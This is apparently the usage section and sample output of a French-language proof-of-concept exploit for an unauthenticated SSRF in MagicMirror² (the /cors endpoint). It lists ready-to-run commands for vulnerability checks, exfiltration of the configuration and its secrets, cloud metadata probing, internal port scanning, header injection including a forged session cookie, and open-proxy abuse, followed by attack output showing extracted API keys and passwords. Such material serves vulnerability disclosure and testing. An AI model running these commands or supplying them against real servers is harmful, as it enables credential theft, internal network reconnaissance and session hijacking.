# 1. Vérifier que la cible est vulnérable
python3 poc.py -t http://target:8080 --check

# 2. Exfiltrer la configuration de l'application (avec découverte automatique des secrets)
python3 poc.py -t http://target:8080 --config

# 3. Sonder les services de métadonnées cloud de plus de 10 fournisseurs
python3 poc.py -t http://target:8080 --cloud

# 4. Scan de ports du réseau interne via SSRF
python3 poc.py -t http://target:8080 --port-scan 10.0.0.1,10.0.0.2 -p 22,80,443,3306,6379

# 5. Démontrer l'abus d'en-têtes entrants/sortants
python3 poc.py -t http://target:8080 --headers

# 6. Utiliser le serveur comme proxy ouvert générique
python3 poc.py -t http://target:8080 --open-proxy https://internal.corp/api

$ python3 poc.py -t http://127.0.0.1:8080 --check

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██████╗   ██████╗   █████╗   ██╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ╚════██╗  ╚════██╗  ██╔══██╗ ███║
██║     ██║   ██║█████╗   -2026- ███████║  █████╔╝   █████╔╝  ╚█████╔╝ ╚██║
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║ ██╔═══╝   ██╔═══╝   ██╔══██╗  ██║
╚██████╗ ╚████╔╝ ███████╗             ██║ ███████╗  ███████╗  ╚█████╔╝  ██║
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝ ╚══════╝  ╚══════╝   ╚════╝   ╚═╝

  MagicMirror² <= v2.35.0 — SSRF non authentifié via le point de terminaison /cors
  Auteur : Astaruf | https://nstsec.com

  VÉRIFICATION, accessibilité de la cible et confirmation du SSRF
  [*] Vérification de l'accessibilité de la cible ...
  [+] Cible accessible, MagicMirror 2.35.0
  [*] Confirmation du SSRF via loopback ...
      >> GET http://127.0.0.1:8080/cors?url=http://127.0.0.1:8080/version
  [+] SSRF CONFIRMÉ, le serveur a récupéré la ressource interne à notre place
      << 2.35.0

  EXFILTRATION DE LA CONFIGURATION, configuration complète via SSRF loopback
  [+] Configuration récupérée, 1194 octets
  [*] address    : 0.0.0.0
  [*] port       : 8080
  [*] ipWhitelist: [] ouvert à toutes les IP

  SECRETS TROUVÉS :
    [weather]  apiKey                       = ow_demo_api_key_d34db33fc4f3b4b3
    [calendar] calendars[0].auth.pass       = S3cretCalendarPa$$word!
    [newsfeed] accessToken                  = sk-newsfeed-bearer-T0kEn-xyz789

  INJECTION D'EN-TÊTES, abus d'en-têtes sortants et entrants
  [*] Partie A : injection d'en-têtes arbitraires dans les requêtes sortantes via sendheaders
  [+] En-tête X-Injected-By: SSRF-PoC confirmé dans la requête sortante
  [+] En-tête Authorization: Bearer DEMO_TOKEN confirmé dans la requête sortante

  [*] Partie B : transfert des en-têtes de réponse vers le navigateur via expectedheaders
  [+] En-tête de réponse Set-Cookie transféré au navigateur : session=hijacked;HttpOnly
  [+] Le navigateur reçoit ce cookie comme s'il provenait du domaine MagicMirror

  PROXY OUVERT, récupération de https://httpbin.org/ip via le serveur vulnérable
  [+] HTTP 200, 32 octets reçus du serveur

{
  "origin": "<IP publique du serveur, pas celle de l'attaquant>"
}